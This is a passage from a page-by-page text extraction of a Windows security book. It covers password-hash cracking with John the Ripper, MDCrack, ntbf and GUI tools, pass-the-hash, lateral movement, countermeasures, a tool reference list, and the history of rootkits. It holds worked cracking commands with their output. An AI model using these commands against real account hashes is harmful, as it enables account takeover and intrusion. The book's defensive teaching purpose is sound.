set to try all the possible \ncombinations of characters for the password. This is by far the most powerful part of \nJohn and subsequently takes the longest to run. Three major modes are available in John \nusage: wordlist, single-crack, and incremental.\nWordlist Mode The simplest of modes for cracking, wordlist mode takes the dictionary \nfile given, or uses the default password file included with John if no option is given, on \nthe command line and tries each password in sequential order.\nSingle-Crack Mode This mode will try login information to guess the password. For \nexample, the username on one account will be tried as the password on all accounts. In \nthe following example, the username STU was successfully tried as the password for \nJACK:\nC:\\>john -single hashes.txt\nLoaded 20 passwords with no different salts (NT LM DES [24/32 4K])\nSTU (jack:1)\nIncremental Mode This mode is certainly the most powerful of the John cracking modes, \nas it tries all character combinations for the given password length. Passwords that use \ncomplicated characters but are short in length can be easily cracked with this mode. Of \ncourse, due to its comprehensive nature of trying each character in the character space, \nthe cracking time for this mode will be long.\n" }, { "page_number": 241, "text": "Chapter 7: Post-Exploit Pillaging \n213\nHere’s an example, as STU is discovered to have a password of APQL, which almost \ncertainly would have never been found with a standard dictionary attack. The incremental \nmode of alpha was used to limit the search to alpha characters, but without any mode, \nJohn uses the default option, which incorporates all the incremental modes including all \ncharacter set variations:\nC:\\>john -incremental:alpha hashes.txt\nLoaded 1 password (NT LM DES [24/32 4K])\nAPQL (stu:1)\nJohn is a powerful password-cracking utility and can be used, e.g., for Windows \nNT/2000/2003/2008, and UNIX password cracking. The only limitation with the \nWindows version port of John, if you can call it that, is that John does not have native \nsupport of the NTLM hash. This means that all passwords recovered with John will be \ncase-insensitive. As you can see with the previous example, STU has a password of APQL,\nbut we don’t know if this password is truly all caps or not, so you will need to try all \nvariations of uppercase and lowercase characters to determine the true password.\nLmbf can also be sued to crack LM hashes. Here’s an example:\nf:\\tools>lmbf hashes.txt out.txt\nlmbf v0.1, (C)2005 orm@toolcrypt.org\n------------------------------------\nparsing hashes.txt... 1 lines read\nanalyzing input... done\ntrying lmbf.dat... 154 entries. 1 hashes found\nstarting bf mode...\nq=quit, any other key to see status\ncurrent password: ?07T cracked:1/2 (unique)\n18753660 passwords tried. elapsed time 00:00:03. t/s:5674756\nall hashes cracked. press any key to exit\nF:\\tools>type out.txt\n public:[^AD1\nSupport for Windows NT OWF hash has been added for both UNIX and Win32 versions of John. You \ncan find a link to the add-on in “References and Further Reading.”\nHere’s an example of cracking an NT hash with John (more about NT hash cracking \nfollows):\nF:\\tools\\john-1.6-ntlm>type hashes.txt\npublic:1005:8c07e18e18192979aad3b435b51404ee:8a88495ddc9b55322158153195c10638:::\nF:\\tools\\john-1.6-ntlm>john -format=NTLM -incremental hashes.txt\nLoaded 1 password (NTLM MD4 [TridgeMD4])\nfindme (public)\nguesses: 1 time: 0:00:01:24 c/s: 758939 trying: findme\n" }, { "page_number": 242, "text": "214 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nCracking NT Hashes\nThe NT hash is created from passwords that are case-sensitive. No length constraint \nexists even though the practical limit is 128 characters in Windows NT/2000/XP/Vista. \nThis means that the space of all possible NT hashes is huge. Nobody could even begin to \nexplore it in its entirety. However, a poorly chosen password will remain weak no matter \nwhat hash mechanism is used to protect it. If we make the assumption that the password \nis at most seven characters long, we come up the following hashing potential:\n• A–Z 26 characters in 7 positions gives 267 ~ 8 × 109 hashes\n• A–Z + 0–9 36 characters in 7 positions gives 367 ~ 8 × 1010 hashes\n• A–Z + a–z 52 characters in 7 positions gives 527 ~ 1 × 1012 hashes\n• A–Z + a–z + 0–9 62 characters in 7 positions gives 627 ~ 3.5 × 1012 hashes\n• All printable 95 characters in 7 positions gives 957 ~ 7.0 × 1013 hashes\nEvery character in excess of 7 will make the password 26, 36, 52, 62, or 95 times more \ndifficult to crack, depending on the character set used. This means that passwords of \nlength 8 (using all printable) instead of 7 will be almost 100 times harder to crack.\nSince the NT hashes do not use cryptographic salt, the methods for attacking them \nare the same as those used for LM hashes. Many brute-force applications are available, \nwhich differ widely both in speed and usability. A selection is outlined next. Bench-\nmarks were obtained with the same computer setup used for the LM hashes and using \nntbf v0.6.6, jtr v1.6 with NTLM patch, Cain & Abel v4.9, LCP v5.0.4, and MDCrack \nv1.8(3):\n• MDCrack\n6.9× 106 t/s for a single hash\n• ntbf 6.2 × 106 t/s for a single hash\n• Cain & Abel 6.2 × 106 t/s for a single hash\n• jtr 5.0 × 105 t/s for a single hash\n• LCP 3.5 × 103 t/s for 10 simultaneous hashes from the local SAM; would not \nrun NTLM tests on a pwdump fi le containing a single hash\nPerformance drops slightly for multiple hashes, but since no salt is used, they can \neffectively be cracked in parallel.\nSome straightforward calculations show that it would take us a maximum of 117 \ndays to crack the most complex NT hash generated from a password seven characters \nlong using all printable characters and using MDCrack on a single laptop. It would take \na maximum of 5.9 days for a hash generated from a seven-character password using A–Z \n+ a–z + 0–9.\n" }, { "page_number": 243, "text": "Chapter 7: Post-Exploit Pillaging \n215\nNT Password Cracking with MDCrack, ntbf\nPopularity:\n6\nSimplicity:\n5\nImpact:\n7\nRisk Rating:\n6\nIf NTLM password hash cracking is a must for you, one solid alternative is MDCrack \nfrom Gregory Duchemin. The product is fairly raw in its port over to Windows, but it \nworks well. Just be careful that it doesn’t take over your system’s CPU cycles, as it tends \nto set the priority on its process to High. As a result, you should change the priority to \nNormal once it starts up.\nMDCrack’s usage is a bit different from that of LCP (introduced later), in that it takes \nin the hash itself on the command line:\nMDCrack-sse.exe --charset=%L --algorithm=NTLM1\n363dd639ad34b6c5153c0f51165ab830\nSystem / Starting MDCrack v1.8(2)\nSystem / Running as MDCrack-sse.exe --charset=%L --algorithm=NTLM1\n363dd639ad34b6c5153c0f51165ab830\nSystem / Filtering custom charset... done\nSystem / Detected processor(s): 1 x INTEL Pentium IV | MMX | SSE\nSystem / Charset is: abcdefghijklmnopqrstuvwxyz\nSystem / Target hash: 363dd639ad34b6c5153c0f51165ab830\nSystem / >\\> Entering NTLM1 Core 1: candidate/salt max size: 9\nInfo / Press ESC for available runtime shortcuts (Ctrl-c to quit)\nInfo / Thread #0: Candidate size: 1 ( + salt: 0 )\nInfo / Thread #0: Candidate size: 2 ( + salt: 0 )\nInfo / Thread #0: Candidate size: 3 ( + salt: 0 )\nInfo / Thread #0: Candidate size: 4 ( + salt: 0 )\nInfo / Thread #0: Candidate size: 5 ( + salt: 0 )\nInfo / Thread #0: Candidate size: 6 ( + salt: 0 )\nInfo / Thread #0: Candidate size: 7 ( + salt: 0 )\n----------------------------------------------------------/ Thread #0\n(Success)\\----\nSystem / Thread #0: Collision found: crackme\nInfo / Thread #0: Candidate/Hash pairs tested: 1704117380 ( 1.70e+009 ) in 2min \n49s 473ms\nInfo / Thread #0: Allocated key space: 4.54e+022 candidates, 0.00% done\nInfo / Thread #0: Average speed: ~ 10055351 ( 1.01e+007 ) h/s\nAs you can see, the MDCrack utility cracked the NTLM hash, showing us the password \ncrackme.\n" }, { "page_number": 244, "text": "216 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThis example uses ntbf (see “References and Further Reading”) from the command \nline:\nF:\\tools>ntbf hashes.txt pwds.txt 2 7\nntbf v0.6.6, (C)2004 orm@toolcrypt.org\n--------------------------------------\ninput file: 1 lines read\nchecking against ntbf.dat... 27588 entries. 0 hashes found\ntrying empty password... not found\ntrying password = username... 0 hashes found\nstarting bf mode: complexity 2, max password length 7...\nq=quit, h=help, s=stats\ncurrent password:lmsnnca cracked:0/1 (unique)\n351216826 passwords tried. elapsed time 00:00:56. t/s:6226022\nall passwords are cracked. press any key to exit\nF:\\tools>type pwds.txt\npublic:crackme\nPassword Cracking with GUI Programs such as \nLC4, LC5, LCP, and Cain & Abel\nPopularity:\n9\nSimplicity:\n8\nImpact:\n7\nRisk Rating:\n8\nIf you want point-and-click ease for your password-cracking activities at the price of \nperformance and, well, price, check out LCP from lcpsoft. L0phtcrack had long been the \nmost widely recognized password cracker for NT, and although the fourth edition didn’t \nadd a slew of new features over the previous version (auditing and recovery features), it \nwill probably remain a popular option for those who still have it, because of its easy-to-use \nGUI and the SMB Capture feature that can harvest LM responses off the wire (now functional \nunder Windows 2000/2003). The fifth version also brought the use of rainbow tables.\nSince Symantec decided to end the life of L0phtcrack after its fifth incarnation, users \nare now forced to seek alternatives, such as LCP and Cain & Abel. LCP is easy to use, and \nit supports even more options than LC5. See http://www.lcpsoft.com/english/\ncomparison.htm.\nThree parameters can be configured for a LCP cracking session: Dictionary Crack, \nDictionary/Brute Hybrid Crack, and Brute Force Crack.\nFigures 7-4, 7-5, and 7-6 show various programs that can be used to crack hashes.\n" }, { "page_number": 245, "text": "Chapter 7: Post-Exploit Pillaging \n217\nFigure 7-4 LCP cracking LM hashes\nFigure 7-5 Cain cracking LM hashes\n" }, { "page_number": 246, "text": "218 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nFigure 7-6 Cain cracking NT hashes\nCountermeasure: Password Cracking\nUnfortunately, if an attacker has gotten this far, you’ll find it difficult to detect, much less \nprevent, the cracking of passwords. The best countermeasure is to prevent the attacker \nfrom gaining administrative privilege in the first place. The next countermeasure is to \nenforce strong passwords or passphrases that make it unrealistic for an attacker to wait \nfor them to be cracked.\nTo enforce stronger passwords, do the following:\n \n1. Start the Local Security Settings application.\n \n2. Select the Account Policy | Password Policy leaf.\n \n3. Set the following minimum options:\n• Enforce Password History: 5 passwords remembered\n• Maximum Password Age: 30 days\n• Minimum Password Length: 8 characters\n• Passwords Must Meet Complexity Requirements: Enabled\n \n We recommend an eight-character minimum password length in light of the \nrealities of password cracking. The eighth character does not improve security \nat all in the face of an LM-cracking attack, since it is immediately guessed. \n" }, { "page_number": 247, "text": "Chapter 7: Post-Exploit Pillaging \n219\nHowever, a remote password-guessing attack will typically be more diffi cult \nagainst an eight-character password than a seven-character one, by a factor of \n128, assuming half of the 8-bit ASCII character set is used. You may consider \nusing the longer password length in your policy if remote password guessing \nis more of a risk in your environment. (See Chapter 5 for a discussion of remote \npassword guessing.)\n \n In addition, remember that you can turn off the storage of the LM hash \naltogether by creating a key called HKLM\\SYSTEM\\CurrentControlSet\\\nControl\\Lsa\\NoLmHash.\nThis option is supported in Windows XP and Windows Server 2003 under Security Policy/Security \nOptions/Network Security: Do Not Store LAN Manager Hash Value On Next Password Change.\n \n4. Finally, reboot your system. Of course, this Registry key is not supported and \nmay potentially break certain applications, so its usage should be carefully \nconsidered and employed only on test systems and never on production boxes.\nDisabling the storage of the LM hash does not erase any currently existing LM hashes. However, \nwhen a user changes her password, the LM hash will not be updated in the SAM or Active Directory. \nThus, the old LM hash might still be sent along with the NTLM hash during network challenge/\nresponse authentication (see Chapter 2), and this may cause authentication failures or other \nproblems. It is possible to delete LM hashes from the SAM by using the tool trashlm from toolcrypt \n.org. Another tool, trashpwhist, is also available from toolcrypt.org and can be used to remove \npassword history entries from the SAM.\nTo disable usage of the LM hash in network authentication, use the LMCompatibility \nRegistry key or the LM Authentication Level Security Policy setting, as discussed in \nChapter 5.\nPassing the Hash/Using Credentials\nPopularity:\n5\nSimplicity:\n4\nImpact:\n8\nRisk Rating:\n6\nSince the hashes derived from dumping programs are the equivalent of passwords, \nwhy couldn’t the hash be passed directly to the client OS, which could, in turn, use it in \na normal response to a logon challenge? Attackers could then log on to a server without \nknowing a viable password and with just a username and the corresponding password \nhash value. This would save a great deal of time spent actually cracking the hashes \nobtained via SMB Capture. In 1997, Paul Ashton posted the idea of modifying a Samba \nUNIX SMB file-sharing client to perform this trick. His original post is available in the \nNT Bugtraq mailing list archives and at SecurityFocus.com. Recent versions of the \nSamba smbclient for UNIX include the ability to log on to NT clients using only the \npassword hash.\n" }, { "page_number": 248, "text": "220 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIn 2000, CORE-SDI’s Hernan Ochoa wrote and published a paper discussing the \ntechnical details of passing the hash that lays out how the LSASS stores the logon sessions \nand their associated credentials (see “References and Further Reading”). Hernan’s paper \ndetails how to edit these values directly in memory so that the current user’s credentials \ncan be changed and any user impersonated if his hash is available. CORE developed a \nproof-of-concept program that performed this technique on NT 4, but its implementation \nviolated LSASS integrity on Windows 2000/2003 and caused the system to shut down \nwithin a matter of seconds.\nExisting tools for performing pass-the-hash do work flawlessly on all versions of \nNT 4, Windows 2000, Windows XP, Windows Vista, and Windows 2008, without violating \nthe integrity of the LSASS process. Most of these tools have been handled with sensitive \ndisclosure and have not been released to the public. At the time of this writing, Hernan \nOchoa has made a pass-the-hash toolkit available that works on more recent versions of \nWindows. The toolkit is limited to certain versions of the operating system, but is under \nactive development (see “References and Further Reading”).\nPass-the-hash attacks rely on the built-in functionality for Single-SignOn that can be \nfound in authentication protocols such as Kerberos and NTLM. In order for the operating \nsystem to authenticate a user silently, the system needs to have some kind of cache for \nthe credential mapped to the user requesting a protected resource. By replacing the user’s \ncredential in this cache with a chosen password hash or ticket, the authentication will be \ndone using the new “secret” instead of the original one.\nAlso worth noting is that Single-SignOn functionality is connected to your logon \nsession. Stale sessions can be reused by the attackers—without their knowing the \npassword or hash. This is important especially in terminal services environments and \nfurther accentuates the importance of logging off after finishing a session.\nNo countermeasure for this attack currently exists, as it is part of the built-in Single-\nSignOn functionality.\nRINSE AND REPEAT\nProbably the greatest risk in allowing an attacker access into one particular system is that \nhe can leverage that system to gain access into additional systems. This ability to take \none system’s compromise and attack other systems once out of reach of the attacker is \ncalled “island hopping.” The beauty for the attacker is that he can usually set up shop for \nextended periods of time and run amok almost completely anonymously.\nThe typical next steps used to compromise the rest of the network follow the “rinse \nand repeat” mantra: copy over the attacker’s toolkit (much of which was described in \nthis chapter), and simply restart the methodology we’ve described in this book back in \nChapters 3 and 4, with footprinting, scanning, enumeration, and so on. Only this time, \nthese procedures will be executed from the compromised system that now provides the \nlaunching pad for a broader attack into the compromised environment.\nSUMMARY\nExpanding influence once administrative or SYSTEM level access is gained on a Windows \nsystem can be a trivial exercise, although with newer versions of the operating system \n" }, { "page_number": 249, "text": "Chapter 7: Post-Exploit Pillaging \n221\nthis exercise comes harder. You can, however, do much to mitigate the risk and manage \nthe situation even after a compromise has occurred.\nAuditing should always be enabled and monitored for change. Passwords should be \ndifficult to guess and should always include an ALT-255 character, as many of these hacks \ncannot read the specific nonprintable character it uses. Attackers can easily gain \ncommand-line control of a system or GUI control as well. A number of tools exist to \nperform both types of control.\nA common practice among attackers is to search your entire drive looking for files \nwith sensitive information in them. Words like password and payroll are commonly used \nin the filter. Keystroke logging can be used as well, to capture every keystroke on a \ncomputer, even the login username and password.\nIsland hopping is a particularly dangerous phenomenon whereby the attacker sets \nup shop on the system, peering into the back closet if you will, finding additional systems \nof potential compromise.\nFinally, port redirection allows an attacker easily to bypass firewall rules once an \ninitial host behind the firewall has been hacked.\nREFERENCES AND FURTHER READING\nReference\nLocation\nFreeware Tools\nPipelist from Sysinternals\nhttp://download.sysinternals.com/Files/PipeList.zip\nNetcat for NT\nwww.vulnwatch.org/netcat/\nNirSoft password extraction tools\nwww.nirsoft.net\nPipeUpAdmin by Maceo\nhttp://content.443.ch/pub/security/blackhat/\nWinNT%20and%202K/\npipeup/PipeUpAdmin.exe.zip\nVNC (Virtual Network \nComputing), the lightweight \ngraphical remote control tool \nwww.realvnc.com\nwww.tightvnc.com\nFree Sample Windows Resource \nKit tools\nwww.microsoft.com/windows/reskits\npwdump2 by Todd Sabin\nwww.bindview.com/Services/RAZOR/Utilities/Windows/\npwdump2_readme.cfm\nSeveral pwdump incarnations\nwww.thesprawl.org/infocalypse/index.php?title=Pwdump\nJohn the Ripper, a great \npassword-cracking tool\nwww.openwall.com/john \nNTLM algorithm support for \nJohn (this is also available off the \nmain John site)—only for UNIX \nversion of John\nwww.openwall.com/john/contrib/john-ntlm-patch-v02.tgz \nHistory dumping support for \npwdump2 and pwdump3\nwww.cqure.net/wp/?page_id=9\n" }, { "page_number": 250, "text": "222 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nDebug scripting tools and other \ntools mentioned in the text\nwww.blackops.cn\nwww.toolcrypt.org/index.html?hew\nMDCrack\nhttp://membres.lycos.fr/mdcrack/\nDictionaries and word lists from \nPurdue University’s COAST \nArchive\nftp://coast.cs.purdue.edu/pub/dict/ \nlsadump2\nwww.bindview.com/Services/RAZOR/Utilities/Windows/\nlsadump2_readme.cfm\nFakeGINA from Arne Vidstrom\nhttp://ntsecurity.nu/toolbox/fakegina/ \nCain & Abel\nwww.oxid.it\nSnort, a free packet sniffer and \nintrusion detection tool\nwww.snort.org\nDsniff’s UNIX version\nhttp://monkey.org/~dugsong/dsniff/\nWireshark\nwww.wireshark.org/\nFree SSHD for Windows \nNT/2000\nhttp://sshwindows.sourceforge.net/\npuTTY, a free SH client\nwww.chiark.greenend.org.uk/~sgtatham/putty/\nrinetd\nwww.boutell.com/rinetd/index.html\nfpipe from Foundstone, Inc.\nwww.foundstone.com/us/resources-free-tools.asp\nCommercial Tools\nWindows Resource Kits, online \nversion of the printed books, \ntools, and references\nwww.microsoft.com/windowsserver2003/techinfo/reskit/\nresourcekit.mspx\nWinRoute Professional by Kerio\nwww.kerio.com\nInvisible Keylogger Stealth (IKS) \nfor NT\nwww.amecisco.com/iksnt.htm \nVanDyke Technologies’ VShell \nSS2D server and SecureCRT client\nwww.vandyke.com/products \nSSH Communications Security’s \nSecure Shell for Windows, server\nand client\nwww.ssh.com/products/ssh/ \nSniffer Pro\nwww.networkgeneral.com \nGeneral References\n“Modifying Windows NT Logon \nCredential” by Hernan Ochoa, \ndiscusses pass-the-hash\nand pass-the-hash toolkit\nwww.coresecurity.com/index.php5?module=ContentMod&action\n=item&id=1030\noss.coresecurity.com/projects/pshtoolkit.htm\nModifying lsadump2 to work in \nDEP machines\nhttp://archives.neohapsis.com/archives/fulldisclosure/2005-09/ \n0461.html\nInformation about Rainbow \nCracking\nhttp://en.wikipedia.org/wiki/RainbowCrack\n" }, { "page_number": 251, "text": "Chapter 7: Post-Exploit Pillaging \n223\nReference\nLocation\nCached domain password-related \ninformation: “CacheDump - \nRecovering Windows Password \nCache Entries”\nwww.securiteam.com/tools/5JP0I2KFPA.html\nCachedLogonsCount-related KB \narticles: “Cached domain logon \ninformation” and “The default \nvalue of the cachedlogonscount \nregistry entry has changed from \n10 to 25 in Windows Longhorn \nServer”\nhttp://support.microsoft.com/kb/172931/\nhttp://support.microsoft.com/kb/911605/\n“Frequently Asked Questions \nAbout Passwords”\nwww.microsoft.com/technet/community/columns/secmgmt/\nsm1005.mspx\n“Security Watch” regarding \nLMCompatibilityLevel setting\nwww.microsoft.com/technet/technetmag/issues/2006/08/\nSecurityWatch/\n“Using Credential Management \nin Windows XP and Windows \nServer 2003,” by Duncan \nMackenzie, Microsoft Developer \nNetwork, January 2003\nhttp://msdn2.microsoft.com/en-us/library/aa302353.aspx\n“Windows Data Protection,” by \nNAI Labs, Network Associates, \nInc., October 2001\nhttp://msdn2.microsoft.com/en-us/library/ms995355.aspx\nWMI-related sources\nhttp://www.microsoft.com/whdc/system/pnppwr/wmi/\nWMI-intro.mspx\nhttp://en.wikipedia.org/wiki/Windows_Management_\nInstrumentation\nwww.microsoft.com/whdc/system/pnppwr/wmi/default.mspx\nDetailed discussion of DebPloit \non Everything2\nwww.everything2.com/?node=debploit\nGDI exploit on Month of Kernel \nbugs archive\nhttp://projects.info-pull.com/mokb/MOKB-06-11-2006.html\nDebploit by EliCZ\nwww.anticracking.sk/EliCZ/bugs/DebPloit.zip\nWindows kernel exploit source \ncode by eyas\nwww.xfocus.net/articles/200306/545.html\nCSI and the FBI’s joint annual \nsurvey of computer crime \nstatistics, showing that the \nmajority of computer crime is \nstill perpetrated by insiders\nwww.gocsi.com\nInformation about URLMON \nfunctions\nhttp://msdn.microsoft.com/workshop/networking/moniker/\nreference/functions/urldownloadtofi le.asp\nPaul Ashton’s original post and \ninformation about modifying \nSMB clients\nwww.securityfocus.com/bid/233/discuss\n" }, { "page_number": 252, "text": "224 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nRelevant Advisories\nGuardent Security Advisory on \nSCM Named Pipe Impersonation \nVulnerability\nwww.securityfocus.com/advisories/2472\n@@stake Security Advisory \nonNetDDE Message \nVulnerability\nwww.securityfocus.com/bid/2341\nMicrosoft Security Bulletins, \nService Packs, and Hotfi xes\nMS00-053, “Service Control \nManager Named Pipe \nImpersonation” Vulnerability\nwww.microsoft.com/technet/security/bulletin/MS00-053.asp\nMS01-007, “Network DDE Agent \nRequests Can Enable Code to \nRun in System Context”\nwww.microsoft.com/technet/security/bulletin/MS01-007.asp\nMS02-024, “Authentication Flaw \nin Windows Debugger Can Lead \nto Elevated Privileges (Q320206)”\nwww.microsoft.com/technet/security/bulletin/MS02-024.asp\nMS03-013, “Buffer Overrun \nin Windows Kernel Message \nHandling Could Lead to \nElevated Privileges (811493)”\nwww.microsoft.com/technet/security/bulletin/MS03-013.asp\n" }, { "page_number": 253, "text": "225\n8\nAchieving \nStealth and \nMaintaining \nPresence\n" }, { "page_number": 254, "text": "226 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n“Reality is merely an illusion, albeit a very persistent one.”\n—Einstein\nT\nhis chapter discusses some tools and techniques used by malicious hackers to \nachieve stealth and maintain their presence on compromised systems so that their \nactions go unnoticed by system administrators. Since publication of the previous \nversion of this book, not only have the techniques used to achieve stealth matured, but \nthe motivations of the malicious hackers have changed as well, and the level of sophistica-\ntion needed to compete in the game of “cat and mouse” has increased dramatically for \nboth attackers and defenders alike. If you are reading this chapter, you have probably al-\nready heard about rootkits, a term that refers to a wide variety of stealth software.\nThis chapter covers the evolution of the Windows rootkit and its importance in \nachieving stealth, but it also goes beyond discussing rootkits by enumerating techniques \nthe author and his colleagues have personally encountered during investigations into \nreal-world hacking cases. In these cases, malicious hackers have achieved stealth using a \nvariety of lesser-known techniques hiding in plain sight without resorting to the use of \nsophisticated rootkit technology.\nTHE RISE OF THE ROOTKIT\nBefore diving into the history of rootkits and stealth technology for Windows, we’ll offer \nup a quick definition of a rootkit and describe some properties and attributes of a rootkit \nand other common stealth software. If you search for the origins of the term rootkit on the \nInternet, you’ll find references to the early days of hacking UNIX-based platforms that \nbegan to be noticed in the 1980s and early 1990s. Perhaps one of the most memorable \naccounts of the early days of hacking is chronicled in the book The Cuckoo’s Egg by Clifford \nStoll, which is his first-hand account of an investigation that resulted in the arrest of a \nGerman hacker after he successfully hacked numerous U.S. academic and military \nnetworks with the intent of stealing and selling sensitive information to the Soviet KGB.\nThe term root refers to the most privileged account on a typical UNIX installation, \nsimilar to the built-in Administrator account on Windows. A kit in this case refers to the \ncollection of tools and software modules that are dropped on the compromised system \nby a malicious hacker after he or she has gained access to the system. Root as used in the \nterm rootkit could refer to the act of elevating privileges to root (usually done via the use \nof an elevation of privilege–type of exploit), or maintaining root-level access after such \naccess has been obtained, or both.\nIn the early to mid-1990s UNIX rootkits were typically nothing more than a collection \nof modified (recompiled with extra code) core operating system binaries or simple shell \nscripts. For example, the ls command is used by UNIX administrators to list files on the \nfile system, so early UNIX rootkits often contained a modified copy of the ls command \nthat would simply omit the contents of certain folders that the malicious hacker did not \nwant the systems administrators to see. Because it was usually possible to obtain the \nsource code for the version of UNIX being attacked, it was fairly straightforward for the \n" }, { "page_number": 255, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n227\nattackers to insert their own source code into popular system utilities and recompile them \nto make their own custom Trojaned copies of popular UNIX commands like ls. But what \nif the administrator happened to run the ps command to list all of the running processes \nand noticed the attacker’s backdoor process? Many early rootkits also included a modified \ncopy of the ps binary designed not to list the malicious hacker’s backdoor processes.\nOver time, administrators generally became aware of this technique through alerts \nand advisories from institutions like CERT and started using only “known good” copies \nof popular system commands like ls and ps (perhaps from read-only media like a \nfloppy disk or a CD) when investigating a system. They also maintained databases of \nchecksums and cryptographic hashes of key system files to determine whether the \noperating system binaries were legitimate or modified, and they routinely started \nchecking the sums, or hashes, of key files on the system. To counter this, malicious \nhackers had to evolve their skillset, and this meant pushing their code deeper into the \noperating system—that is, the kernel.\nEventually in the late 1990s hackers and various security researchers started looking \ninto the use of kernel modules that, once loaded, would alter key kernel APIs and data \nstructures so that it didn’t matter if administrators were using known good copies of key \noperating system utilities, because these utilities still relied on information emitted from \nkernel APIs, and if the attacker could control those APIs, he or she could control your \nview of the operating system (as seen by utilities such as ls and ps). And thus an arms \nrace was born, which is still being played out to this day and on a wide variety of \noperating systems such as Windows and Linux.\nWindows Rootkits\nSo what can be hidden from an administrator with a Windows-based rootkit? The quick \nanswer is anything and everything. If you are an administrator and a well-written rootkit \nhas been installed on your machine, you see only what the rootkit allows you to see with \nnormal system tools. The following items are commonly hidden using Windows \nrootkits:\nProcesses\nServices \nNetwork connections\nFiles and folders\nRegistry entries\nUser accounts\nDrivers\nObject Manager objects\nPages of memory\nIt is important to note that not all rootkits hide all of these objects. The more that a \nmalicious hacker chooses to hide, the more complex and sophisticated the code has to be. \nSome rootkits are very small and are designed to hide only certain items—for example, \nthe original FU rootkit (discussed in more detail later) hid only running processes, but \nthe files backing those processes remained visible on disk. Compare this to the Hacker \nDefender rootkit for Windows, which can hide most of the items above.\nSome rootkits provide additional services to the malicious hackers who install them. \nFor example, some rootkits provide a built-in backdoor that can be connected to remotely \n(such as Hacker Defender and YYT_HAC), while others strive to go that extra mile for \nthe miscreant by providing the ability to adjust the list of hidden files, folders, and \n" }, { "page_number": 256, "text": "228 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nprocesses; perform DoS attacks; fetch remote files; lie about the amount of free space on \na volume; and reboot the system. For example, Hacker Defender can alter the user’s \nview of the available disk space—this feature has often been used by hackers for setting \nup warez servers.\nIt is difficult to pinpoint exactly when rootkits were first used by malicious hackers \nwhen compromising Windows machines (after all, the goal of a rootkit is to allow the \nmalicious hackers to go undetected for as long as possible), but it has become generally \naccepted that one of the first individuals to thrust rootkit technology for Windows into \nthe limelight was Greg Hoglund, when he posted a description (and definition) of an \nNT-based rootkit to the Phrack online magazine in the fall of 1999 (see “References and \nFurther Reading”). This posting not only attempted to describe and further refine the \ndefinition of a rootkit for Windows, but it also described a simple 4-byte patch that could \nbe made to the Window NT kernel to disable all access and security checks allowing \nunprivileged users access to privileged objects. From there, Hoglund went on to create \nwhat is generally considered to be one of the first true Windows NT kernel-mode rootkits \n(NTRootkit) and register the domain rootkit.com in March 1999; and he helped create an \nactively growing online community of people devoted to furthering work in the area of \nachieving and maintaining stealth. He also began teaching classes entitled “Aspects of \nOffensive Rootkit Technology” that taught students how to develop their own kernel-\nmode rootkits (based on his own NTRootkit source code) at various Blackhat security \nconferences in February 2003 in Seattle.\nOne of the earliest hacking cases in which this author was involved and in which \nrootkits were used was eventually reported by the media in early 2003 (see “References \nand Further Reading”). A customer had called Microsoft when suddenly one of their \nSQL servers started crashing on a fairly regular basis. The escalation engineer at Microsoft \nwho debugged the crash dumps was stumped by what he eventually found. Somehow \nthe device driver responsible for the crashes was nowhere to be found on the file system \n(because it was using its stealth techniques to hide), and we were not able to track down \nthe company responsible for the driver by searching the Web (we were able to get the \nname of the driver and its contents from the memory dumps). Dumping the raw memory \nwhere the device driver was loaded revealed an interesting string, SLANRET, which \neventually was used in the naming of the rootkit by the various AV vendors.\nSherri Sparks and James Butler have presented a great summary of the evolution of \nrootkits (see “References and Further Reading”), which is broken down into generations \nbased on their properties and shown here:\n• First-Generation Rootkits\n• Replaced modifi ed fi les on the hard drive\n• Second-Generation Rootkits\n• Kernel- and user-mode function hooking/static object patching\n• Third-Generation Rootkits\n• Dynamic object patching (via DKOM—more on this later)\n• Exclusively kernel mode\n" }, { "page_number": 257, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n229\n• Fourth-Generation Rootkits\n• Virtual Memory subversion (Shadow Walker)?\n• Hypervisor-based rootkits (Blue Pill, Vitriol)?\n• Hardware-based rootkits?\n• Bootkits (Bootroot, VBootkit)?\nRootkits, it seemed, had officially gone mainstream and system administrators were \nat a severe disadvantage in the game of cat and mouse if their servers were \ncompromised.\nTHE CHANGING THREAT ENVIRONMENT\nIn the late 1990s and early 2000s, most normal households didn’t have access to the \nInternet; those who did usually accessed the Web via slow dial-up or via small pockets \nof high-speed connections. The threat environment for Windows users at the time \nreflected this relative lack of ubiquity: malware that was written for Windows was still \nlargely exploratory in nature and mass-mailing worms were becoming common, as was \nthe occasional Windows worm, but this was predominantly malware written for fun or \ncuriosity, not for profit. Occasionally malware would spread and cause major outages for \nvarious institutions as infected servers repeatedly crashed or experienced other problems, \nbut the malware was usually designed to spread far and fast with stealth not typically \nbeing used.\nIn these early days, especially in the early 2000s, it was not uncommon for malicious \nhackers to target universities and compromise their Windows servers. After all, \nuniversities at the time usually had very fast Internet connections and most had very lax \ninbound filtering rules (if they had any at all). At the other end of these Internet \nconnections was usually an NT 4.0 server or a Windows 2000 server that was accessible \nvia the Internet. In the days before Automatic Updates and Windows Updates, it was not \nuncommon to find unpatched servers at the end of these connections. Some of the more \ncommon incident response cases this author worked on between 2002 and 2003 involved \nuniversity servers across the country. Usually the network administrators would alert \nthe system administrators that they suspected their machines had been compromised \nafter analyzing network flow data and finding suspicious network traffic traveling to or \nfrom the machine. The network administrators would usually notice a sudden decrease \nin available bandwidth or an increase in connections to a specific IP address from \nmachines all over the world, or perhaps an increase in the use of a specific network \nprotocol (perhaps a P2P protocol, or IRC). The system administrator for the system \nwould usually launch Task Manager or run netstat and not find anything out of the \nordinary; no strange processes in Task Manager would be visible and no strange network \nconnections would show up in netstat. The servers were almost always running up-to-\ndate antivirus software.\nDuring this time, members of the Microsoft Product Support Services (PSS) security \nteam were working on tools to detect symptoms of a rootkit, and we had gotten pretty \n" }, { "page_number": 258, "text": "230 \nHacking Exposed Windows: Windows Security Secrets & Solutions \ngood at identifying one rootkit in particular, Hacker Defender, which seemed to be a \nvery popular rootkit used by various hacking groups or “crews” at the time. Hacker \nDefender was a good user-mode rootkit, written in 